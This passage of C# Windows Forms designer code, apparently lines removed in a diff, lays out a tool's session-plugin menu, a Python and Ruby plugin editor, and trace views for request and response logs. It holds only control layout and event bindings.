this.sessionPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.SessionPluginsRAToolStripMenuItem, - this.SessionPluginsANToolStripMenuItem}); - this.sessionPluginsToolStripMenuItem.Name = "sessionPluginsToolStripMenuItem"; - this.sessionPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.sessionPluginsToolStripMenuItem.Text = "Session Plugins"; - // - // SessionPluginsRAToolStripMenuItem - // - this.SessionPluginsRAToolStripMenuItem.Name = "SessionPluginsRAToolStripMenuItem"; - this.SessionPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.SessionPluginsRAToolStripMenuItem.Text = "Reload All"; - this.SessionPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.SessionPluginsRAToolStripMenuItem_Click); - // - // SessionPluginsANToolStripMenuItem - // - this.SessionPluginsANToolStripMenuItem.Name = "SessionPluginsANToolStripMenuItem"; - this.SessionPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.SessionPluginsANToolStripMenuItem.Text = "Add New"; - this.SessionPluginsANToolStripMenuItem.Click += new System.EventHandler(this.SessionPluginsANToolStripMenuItem_Click); - // - // PluginEditorSplit - // - this.PluginEditorSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorSplit.Location = new System.Drawing.Point(0, 0); - this.PluginEditorSplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorSplit.Name = "PluginEditorSplit"; - // - // PluginEditorSplit.Panel1 - // - this.PluginEditorSplit.Panel1.Controls.Add(this.PluginsCentreSplit); - // - // PluginEditorSplit.Panel2 - // - this.PluginEditorSplit.Panel2.Controls.Add(this.PluginEditorAPISplit); - this.PluginEditorSplit.Size = new System.Drawing.Size(570, 485); - this.PluginEditorSplit.SplitterDistance = 386; - this.PluginEditorSplit.SplitterWidth = 2; - this.PluginEditorSplit.TabIndex = 1; - // - // PluginsCentreSplit - // - this.PluginsCentreSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginsCentreSplit.Location = new System.Drawing.Point(0, 0); - this.PluginsCentreSplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginsCentreSplit.Name = "PluginsCentreSplit"; - this.PluginsCentreSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // PluginsCentreSplit.Panel1 - // - this.PluginsCentreSplit.Panel1.Controls.Add(this.PluginDetailsRTB); - // - // PluginsCentreSplit.Panel2 - // - this.PluginsCentreSplit.Panel2.Controls.Add(this.PluginEditorInTE); - this.PluginsCentreSplit.Size = new System.Drawing.Size(386, 485); - this.PluginsCentreSplit.SplitterDistance = 223; - this.PluginsCentreSplit.SplitterWidth = 2; - this.PluginsCentreSplit.TabIndex = 4; - // - // PluginDetailsRTB - // - this.PluginDetailsRTB.BackColor = System.Drawing.Color.AliceBlue; - this.PluginDetailsRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginDetailsRTB.DetectUrls = false; - this.PluginDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginDetailsRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PluginDetailsRTB.Location = new System.Drawing.Point(0, 0); - this.PluginDetailsRTB.Name = "PluginDetailsRTB"; - this.PluginDetailsRTB.ReadOnly = true; - this.PluginDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.PluginDetailsRTB.Size = new System.Drawing.Size(386, 223); - this.PluginDetailsRTB.TabIndex = 1; - this.PluginDetailsRTB.Text = ""; - // - // PluginEditorInTE - // - this.PluginEditorInTE.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorInTE.IsIconBarVisible = false; - this.PluginEditorInTE.Location = new System.Drawing.Point(0, 0); - this.PluginEditorInTE.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorInTE.Name = "PluginEditorInTE"; - this.PluginEditorInTE.ShowEOLMarkers = true; - this.PluginEditorInTE.ShowSpaces = true; - this.PluginEditorInTE.ShowTabs = true; - this.PluginEditorInTE.ShowVRuler = true; - this.PluginEditorInTE.Size = new System.Drawing.Size(386, 260); - this.PluginEditorInTE.TabIndex = 5; - // - // PluginEditorAPISplit - // - this.PluginEditorAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPISplit.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPISplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPISplit.Name = "PluginEditorAPISplit"; - this.PluginEditorAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // PluginEditorAPISplit.Panel1 - // - this.PluginEditorAPISplit.Panel1.Controls.Add(this.PluginEditorAPITreeTabs); - // - // PluginEditorAPISplit.Panel2 - // - this.PluginEditorAPISplit.Panel2.Controls.Add(this.PluginEditorAPIDetailsRTB); - this.PluginEditorAPISplit.Size = new System.Drawing.Size(182, 485); - this.PluginEditorAPISplit.SplitterDistance = 223; - this.PluginEditorAPISplit.SplitterWidth = 2; - this.PluginEditorAPISplit.TabIndex = 1; - // - // PluginEditorAPITreeTabs - // - this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorPythonAPITreeTab); - this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorRubyAPITreeTab); - this.PluginEditorAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPITreeTabs.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPITreeTabs.Name = "PluginEditorAPITreeTabs"; - this.PluginEditorAPITreeTabs.Padding = new System.Drawing.Point(0, 0); - this.PluginEditorAPITreeTabs.SelectedIndex = 0; - this.PluginEditorAPITreeTabs.Size = new System.Drawing.Size(182, 223); - this.PluginEditorAPITreeTabs.TabIndex = 0; - // - // PluginEditorPythonAPITreeTab - // - this.PluginEditorPythonAPITreeTab.Controls.Add(this.PluginEditorPythonAPITree); - this.PluginEditorPythonAPITreeTab.Location = new System.Drawing.Point(4, 22); - this.PluginEditorPythonAPITreeTab.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorPythonAPITreeTab.Name = "PluginEditorPythonAPITreeTab"; - this.PluginEditorPythonAPITreeTab.Size = new System.Drawing.Size(174, 197); - this.PluginEditorPythonAPITreeTab.TabIndex = 0; - this.PluginEditorPythonAPITreeTab.Text = "Python"; - this.PluginEditorPythonAPITreeTab.UseVisualStyleBackColor = true; - // - // PluginEditorPythonAPITree - // - this.PluginEditorPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginEditorPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorPythonAPITree.Location = new System.Drawing.Point(0, 0); - this.PluginEditorPythonAPITree.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorPythonAPITree.Name = "PluginEditorPythonAPITree"; - this.PluginEditorPythonAPITree.Size = new System.Drawing.Size(174, 197); - this.PluginEditorPythonAPITree.TabIndex = 0; - this.PluginEditorPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorPythonAPITree_AfterSelect); - // - // PluginEditorRubyAPITreeTab - // - this.PluginEditorRubyAPITreeTab.Controls.Add(this.PluginEditorRubyAPITree); - this.PluginEditorRubyAPITreeTab.Location = new System.Drawing.Point(4, 22); - this.PluginEditorRubyAPITreeTab.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorRubyAPITreeTab.Name = "PluginEditorRubyAPITreeTab"; - this.PluginEditorRubyAPITreeTab.Size = new System.Drawing.Size(174, 197); - this.PluginEditorRubyAPITreeTab.TabIndex = 1; - this.PluginEditorRubyAPITreeTab.Text = "Ruby"; - this.PluginEditorRubyAPITreeTab.UseVisualStyleBackColor = true; - // - // PluginEditorRubyAPITree - // - this.PluginEditorRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginEditorRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorRubyAPITree.Location = new System.Drawing.Point(0, 0); - this.PluginEditorRubyAPITree.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorRubyAPITree.Name = "PluginEditorRubyAPITree"; - this.PluginEditorRubyAPITree.Size = new System.Drawing.Size(174, 197); - this.PluginEditorRubyAPITree.TabIndex = 1; - this.PluginEditorRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorRubyAPITree_AfterSelect); - // - // PluginEditorAPIDetailsRTB - // - this.PluginEditorAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PluginEditorAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPIDetailsRTB.Name = "PluginEditorAPIDetailsRTB"; - this.PluginEditorAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.PluginEditorAPIDetailsRTB.Size = new System.Drawing.Size(182, 260); - this.PluginEditorAPIDetailsRTB.TabIndex = 0; - this.PluginEditorAPIDetailsRTB.Text = ""; - // - // DevTraceTab - // - this.DevTraceTab.Controls.Add(this.TraceMainTabs); - this.DevTraceTab.Location = new System.Drawing.Point(4, 22); - this.DevTraceTab.Margin = new System.Windows.Forms.Padding(0); - this.DevTraceTab.Name = "DevTraceTab"; - this.DevTraceTab.Size = new System.Drawing.Size(697, 485); - this.DevTraceTab.TabIndex = 1; - this.DevTraceTab.Text = " Trace "; - this.DevTraceTab.UseVisualStyleBackColor = true; - // - // TraceMainTabs - // - this.TraceMainTabs.Controls.Add(this.SessionPluginTraceTab); - this.TraceMainTabs.Controls.Add(this.DebugTraceTab); - this.TraceMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.TraceMainTabs.Location = new System.Drawing.Point(0, 0); - this.TraceMainTabs.Margin = new System.Windows.Forms.Padding(0); - this.TraceMainTabs.Name = "TraceMainTabs"; - this.TraceMainTabs.Padding = new System.Drawing.Point(0, 0); - this.TraceMainTabs.SelectedIndex = 0; - this.TraceMainTabs.Size = new System.Drawing.Size(697, 485); - this.TraceMainTabs.TabIndex = 2; - // - // SessionPluginTraceTab - // - this.SessionPluginTraceTab.Controls.Add(this.SessionPluginTraceBaseSplit); - this.SessionPluginTraceTab.Location = new System.Drawing.Point(4, 22); - this.SessionPluginTraceTab.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceTab.Name = "SessionPluginTraceTab"; - this.SessionPluginTraceTab.Size = new System.Drawing.Size(689, 459); - this.SessionPluginTraceTab.TabIndex = 1; - this.SessionPluginTraceTab.Text = " Session Plugin Trace "; - this.SessionPluginTraceTab.UseVisualStyleBackColor = true; - // - // SessionPluginTraceBaseSplit - // - this.SessionPluginTraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceBaseSplit.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceBaseSplit.Name = "SessionPluginTraceBaseSplit"; - this.SessionPluginTraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // SessionPluginTraceBaseSplit.Panel1 - // - this.SessionPluginTraceBaseSplit.Panel1.Controls.Add(this.SessionPluginTraceGrid); - // - // SessionPluginTraceBaseSplit.Panel2 - // - this.SessionPluginTraceBaseSplit.Panel2.Controls.Add(this.SessionPluginTraceBottomTabs); - this.SessionPluginTraceBaseSplit.Size = new System.Drawing.Size(689, 459); - this.SessionPluginTraceBaseSplit.SplitterDistance = 228; - this.SessionPluginTraceBaseSplit.SplitterWidth = 2; - this.SessionPluginTraceBaseSplit.TabIndex = 0; - // - // SessionPluginTraceGrid - // - this.SessionPluginTraceGrid.AllowUserToAddRows = false; - this.SessionPluginTraceGrid.AllowUserToDeleteRows = false; - this.SessionPluginTraceGrid.AllowUserToOrderColumns = true; - this.SessionPluginTraceGrid.AllowUserToResizeRows = false; - this.SessionPluginTraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.SessionPluginTraceGrid.BackgroundColor = System.Drawing.Color.White; - this.SessionPluginTraceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle22.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle22.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle22.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle22.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle22.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle22.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle22.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.SessionPluginTraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle22; - this.SessionPluginTraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.SessionPluginTraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SessionPluginTraceIdClmn, - this.SessionPluginTraceLogIdClmn, - this.SessionPluginTraceLogSourceClmn, - this.SessionPluginTracePluginNameClmn, - this.SessionPluginTraceActionClmn, - this.SessionPluginTraceMessageClmn}); - this.SessionPluginTraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.SessionPluginTraceGrid.GridColor = System.Drawing.Color.White; - this.SessionPluginTraceGrid.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceGrid.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceGrid.MultiSelect = false; - this.SessionPluginTraceGrid.Name = "SessionPluginTraceGrid"; - this.SessionPluginTraceGrid.ReadOnly = true; - this.SessionPluginTraceGrid.RowHeadersVisible = false; - this.SessionPluginTraceGrid.RowHeadersWidth = 10; - this.SessionPluginTraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.SessionPluginTraceGrid.Size = new System.Drawing.Size(689, 228); - this.SessionPluginTraceGrid.TabIndex = 10; - this.SessionPluginTraceGrid.SelectionChanged += new System.EventHandler(this.SessionPluginTraceGrid_SelectionChanged); - // - // SessionPluginTraceIdClmn - // - this.SessionPluginTraceIdClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SessionPluginTraceIdClmn.HeaderText = "ID"; - this.SessionPluginTraceIdClmn.MinimumWidth = 30; - this.SessionPluginTraceIdClmn.Name = "SessionPluginTraceIdClmn"; - this.SessionPluginTraceIdClmn.ReadOnly = true; - this.SessionPluginTraceIdClmn.Width = 30; - // - // SessionPluginTraceLogIdClmn - // - this.SessionPluginTraceLogIdClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SessionPluginTraceLogIdClmn.HeaderText = "Log ID"; - this.SessionPluginTraceLogIdClmn.MinimumWidth = 2; - this.SessionPluginTraceLogIdClmn.Name = "SessionPluginTraceLogIdClmn"; - this.SessionPluginTraceLogIdClmn.ReadOnly = true; - this.SessionPluginTraceLogIdClmn.Visible = false; - this.SessionPluginTraceLogIdClmn.Width = 2; - // - // SessionPluginTraceLogSourceClmn - // - this.SessionPluginTraceLogSourceClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SessionPluginTraceLogSourceClmn.HeaderText = "Log Source"; - this.SessionPluginTraceLogSourceClmn.MinimumWidth = 2; - this.SessionPluginTraceLogSourceClmn.Name = "SessionPluginTraceLogSourceClmn"; - this.SessionPluginTraceLogSourceClmn.ReadOnly = true; - this.SessionPluginTraceLogSourceClmn.Visible = false; - this.SessionPluginTraceLogSourceClmn.Width = 2; - // - // SessionPluginTracePluginNameClmn - // - this.SessionPluginTracePluginNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle23.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.SessionPluginTracePluginNameClmn.DefaultCellStyle = dataGridViewCellStyle23; - this.SessionPluginTracePluginNameClmn.HeaderText = "Session Plugin Name"; - this.SessionPluginTracePluginNameClmn.MinimumWidth = 100; - this.SessionPluginTracePluginNameClmn.Name = "SessionPluginTracePluginNameClmn"; - this.SessionPluginTracePluginNameClmn.ReadOnly = true; - this.SessionPluginTracePluginNameClmn.Width = 150; - // - // SessionPluginTraceActionClmn - // - this.SessionPluginTraceActionClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle24.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.SessionPluginTraceActionClmn.DefaultCellStyle = dataGridViewCellStyle24; - this.SessionPluginTraceActionClmn.HeaderText = "Action"; - this.SessionPluginTraceActionClmn.MinimumWidth = 80; - this.SessionPluginTraceActionClmn.Name = "SessionPluginTraceActionClmn"; - this.SessionPluginTraceActionClmn.ReadOnly = true; - // - // SessionPluginTraceMessageClmn - // - this.SessionPluginTraceMessageClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.SessionPluginTraceMessageClmn.DefaultCellStyle = dataGridViewCellStyle25; - this.SessionPluginTraceMessageClmn.HeaderText = "Message"; - this.SessionPluginTraceMessageClmn.MinimumWidth = 2; - this.SessionPluginTraceMessageClmn.Name = "SessionPluginTraceMessageClmn"; - this.SessionPluginTraceMessageClmn.ReadOnly = true; - this.SessionPluginTraceMessageClmn.Visible = false; - this.SessionPluginTraceMessageClmn.Width = 2; - // - // SessionPluginTraceBottomTabs - // - this.SessionPluginTraceBottomTabs.Controls.Add(this.SessionPluginTraceMessageTab); - this.SessionPluginTraceBottomTabs.Controls.Add(this.SessionPluginTraceLogViewTab); - this.SessionPluginTraceBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceBottomTabs.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceBottomTabs.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceBottomTabs.Name = "SessionPluginTraceBottomTabs"; - this.SessionPluginTraceBottomTabs.Padding = new System.Drawing.Point(0, 0); - this.SessionPluginTraceBottomTabs.SelectedIndex = 0; - this.SessionPluginTraceBottomTabs.Size = new System.Drawing.Size(689, 229); - this.SessionPluginTraceBottomTabs.TabIndex = 2; - // - // SessionPluginTraceMessageTab - // - this.SessionPluginTraceMessageTab.Controls.Add(this.SessionPluginTraceMsgBaseSplit); - this.SessionPluginTraceMessageTab.Location = new System.Drawing.Point(4, 22); - this.SessionPluginTraceMessageTab.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceMessageTab.Name = "SessionPluginTraceMessageTab"; - this.SessionPluginTraceMessageTab.Size = new System.Drawing.Size(681, 203); - this.SessionPluginTraceMessageTab.TabIndex = 0; - this.SessionPluginTraceMessageTab.Text = "Trace Message"; - this.SessionPluginTraceMessageTab.UseVisualStyleBackColor = true; - // - // SessionPluginTraceMsgBaseSplit - // - this.SessionPluginTraceMsgBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceMsgBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.SessionPluginTraceMsgBaseSplit.IsSplitterFixed = true; - this.SessionPluginTraceMsgBaseSplit.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceMsgBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceMsgBaseSplit.Name = "SessionPluginTraceMsgBaseSplit"; - this.SessionPluginTraceMsgBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // SessionPluginTraceMsgBaseSplit.Panel1 - // - this.SessionPluginTraceMsgBaseSplit.Panel1.BackColor = System.Drawing.Color.White; - this.SessionPluginTraceMsgBaseSplit.Panel1.Controls.Add(this.SessionPluginTraceLoadLogBtn); - this.SessionPluginTraceMsgBaseSplit.Panel1.Controls.Add(this.textBox4); - // - // SessionPluginTraceMsgBaseSplit.Panel2 - // - this.SessionPluginTraceMsgBaseSplit.Panel2.Controls.Add(this.SessionPluginTraceMsgRTB); - this.SessionPluginTraceMsgBaseSplit.Size = new System.Drawing.Size(681, 203); - this.SessionPluginTraceMsgBaseSplit.SplitterDistance = 46; - this.SessionPluginTraceMsgBaseSplit.SplitterWidth = 2; - this.SessionPluginTraceMsgBaseSplit.TabIndex = 2; - // - // SessionPluginTraceLoadLogBtn - // - this.SessionPluginTraceLoadLogBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.SessionPluginTraceLoadLogBtn.Enabled = false; - this.SessionPluginTraceLoadLogBtn.Location = new System.Drawing.Point(515, 5); - this.SessionPluginTraceLoadLogBtn.Name = "SessionPluginTraceLoadLogBtn"; - this.SessionPluginTraceLoadLogBtn.Size = new System.Drawing.Size(161, 36); - this.SessionPluginTraceLoadLogBtn.TabIndex = 1; - this.SessionPluginTraceLoadLogBtn.Text = "Load Assosiated Request/Response"; - this.SessionPluginTraceLoadLogBtn.UseVisualStyleBackColor = true; - this.SessionPluginTraceLoadLogBtn.Click += new System.EventHandler(this.SessionPluginTraceLoadLogBtn_Click); - // - // textBox4 - // - this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox4.BackColor = System.Drawing.Color.White; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(0, 3); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(509, 40); - this.textBox4.TabIndex = 0; - this.textBox4.TabStop = false; - this.textBox4.Text = resources.GetString("textBox4.Text"); - // - // SessionPluginTraceMsgRTB - // - this.SessionPluginTraceMsgRTB.BackColor = System.Drawing.Color.White; - this.SessionPluginTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.SessionPluginTraceMsgRTB.DetectUrls = false; - this.SessionPluginTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceMsgRTB.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceMsgRTB.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceMsgRTB.Name = "SessionPluginTraceMsgRTB"; - this.SessionPluginTraceMsgRTB.ReadOnly = true; - this.SessionPluginTraceMsgRTB.Size = new System.Drawing.Size(681, 155); - this.SessionPluginTraceMsgRTB.TabIndex = 1; - this.SessionPluginTraceMsgRTB.Text = ""; - // - // SessionPluginTraceLogViewTab - // - this.SessionPluginTraceLogViewTab.Controls.Add(this.SessionPluginTraceLoadLogProgressBar); - this.SessionPluginTraceLogViewTab.Controls.Add(this.SessionPluginTraceSessionTabs); - this.SessionPluginTraceLogViewTab.Location = new System.Drawing.Point(4, 22); - this.SessionPluginTraceLogViewTab.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceLogViewTab.Name = "SessionPluginTraceLogViewTab"; - this.SessionPluginTraceLogViewTab.Size = new System.Drawing.Size(681, 203); - this.SessionPluginTraceLogViewTab.TabIndex = 1; - this.SessionPluginTraceLogViewTab.Text = "Associated Session"; - this.SessionPluginTraceLogViewTab.UseVisualStyleBackColor = true; - // - // SessionPluginTraceLoadLogProgressBar - // - this.SessionPluginTraceLoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.SessionPluginTraceLoadLogProgressBar.Location = new System.Drawing.Point(153, 31); - this.SessionPluginTraceLoadLogProgressBar.MarqueeAnimationSpeed = 10; - this.SessionPluginTraceLoadLogProgressBar.Name = "SessionPluginTraceLoadLogProgressBar"; - this.SessionPluginTraceLoadLogProgressBar.Size = new System.Drawing.Size(393, 23); - this.SessionPluginTraceLoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.SessionPluginTraceLoadLogProgressBar.TabIndex = 34; - this.SessionPluginTraceLoadLogProgressBar.Visible = false; - // - // SessionPluginTraceSessionTabs - // - this.SessionPluginTraceSessionTabs.Controls.Add(this.tabPage12); - this.SessionPluginTraceSessionTabs.Controls.Add(this.tabPage3); - this.SessionPluginTraceSessionTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceSessionTabs.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceSessionTabs.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceSessionTabs.Name = "SessionPluginTraceSessionTabs"; - this.SessionPluginTraceSessionTabs.Padding = new System.Drawing.Point(0, 0); - this.SessionPluginTraceSessionTabs.SelectedIndex = 0; - this.SessionPluginTraceSessionTabs.Size = new System.Drawing.Size(681, 203); - this.SessionPluginTraceSessionTabs.TabIndex = 5; - // - // tabPage12 - // - this.tabPage12.Controls.Add(this.SessionPluginTraceRequestView); - this.tabPage12.Location = new System.Drawing.Point(4, 22); - this.tabPage12.Margin = new System.Windows.Forms.Padding(0); - this.tabPage12.Name = "tabPage12"; - this.tabPage12.Size = new System.Drawing.Size(673, 177); - this.tabPage12.TabIndex = 0; - this.tabPage12.Text = "Request"; - this.tabPage12.UseVisualStyleBackColor = true; - // - // SessionPluginTraceRequestView - // - this.SessionPluginTraceRequestView.BackColor = System.Drawing.Color.White; - this.SessionPluginTraceRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceRequestView.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceRequestView.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceRequestView.Name = "SessionPluginTraceRequestView"; - this.SessionPluginTraceRequestView.ReadOnly = true; - this.SessionPluginTraceRequestView.Size = new System.Drawing.Size(673, 177); - this.SessionPluginTraceRequestView.TabIndex = 0; - // - // tabPage3 - // - this.tabPage3.Controls.Add(this.SessionPluginTraceResponseView); - this.tabPage3.Location = new System.Drawing.Point(4, 22); - this.tabPage3.Margin = new System.Windows.Forms.Padding(0); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(673, 177); - this.tabPage3.TabIndex = 1; - this.tabPage3.Text = "Response"; - this.tabPage3.UseVisualStyleBackColor = true; - // - // SessionPluginTraceResponseView - // - this.SessionPluginTraceResponseView.BackColor = System.Drawing.Color.White; - this.SessionPluginTraceResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.SessionPluginTraceResponseView.IncludeReflectionTab = true; - this.SessionPluginTraceResponseView.Location = new System.Drawing.Point(0, 0); - this.SessionPluginTraceResponseView.Margin = new System.Windows.Forms.Padding(0); - this.SessionPluginTraceResponseView.Name = "SessionPluginTraceResponseView"; - this.SessionPluginTraceResponseView.ReadOnly = true; - this.SessionPluginTraceResponseView.Size = new System.Drawing.Size(673, 177); - this.SessionPluginTraceResponseView.TabIndex = 0; - // - // DebugTraceTab - // - this.DebugTraceTab.Controls.Add(this.TraceBaseSplit); - this.DebugTraceTab.Location = new System.Drawing.Point(4, 22); - this.DebugTraceTab.Margin = new System.Windows.Forms.Padding(0); - this.DebugTraceTab.Name = "DebugTraceTab"; - this.DebugTraceTab.Size = new System.Drawing.Size(689, 459); - this.DebugTraceTab.TabIndex = 0; - this.DebugTraceTab.Text = " Debug Trace "; - this.DebugTraceTab.UseVisualStyleBackColor = true; - // - // TraceBaseSplit - // - this.TraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.TraceBaseSplit.Location = new System.Drawing.Point(0, 0); - this.TraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.TraceBaseSplit.Name = "TraceBaseSplit"; - this.TraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // TraceBaseSplit.Panel1 - // - this.TraceBaseSplit.Panel1.Controls.Add(this.TraceGrid); - // - // TraceBaseSplit.Panel2 - // - this.TraceBaseSplit.Panel2.Controls.Add(this.TraceMsgRTB); - this.TraceBaseSplit.Size = new System.Drawing.Size(689, 459); - this.TraceBaseSplit.SplitterDistance = 210; - this.TraceBaseSplit.TabIndex = 1; - // - // TraceGrid - // - this.TraceGrid.AllowUserToAddRows = false; - this.TraceGrid.AllowUserToDeleteRows = false; - this.TraceGrid.AllowUserToOrderColumns = true; - this.TraceGrid.AllowUserToResizeRows = false; - this.TraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.TraceGrid.BackgroundColor = System.Drawing.Color.White; - this.TraceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle26.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle26.BackColor = System.Drawing.SystemColors.Control; - 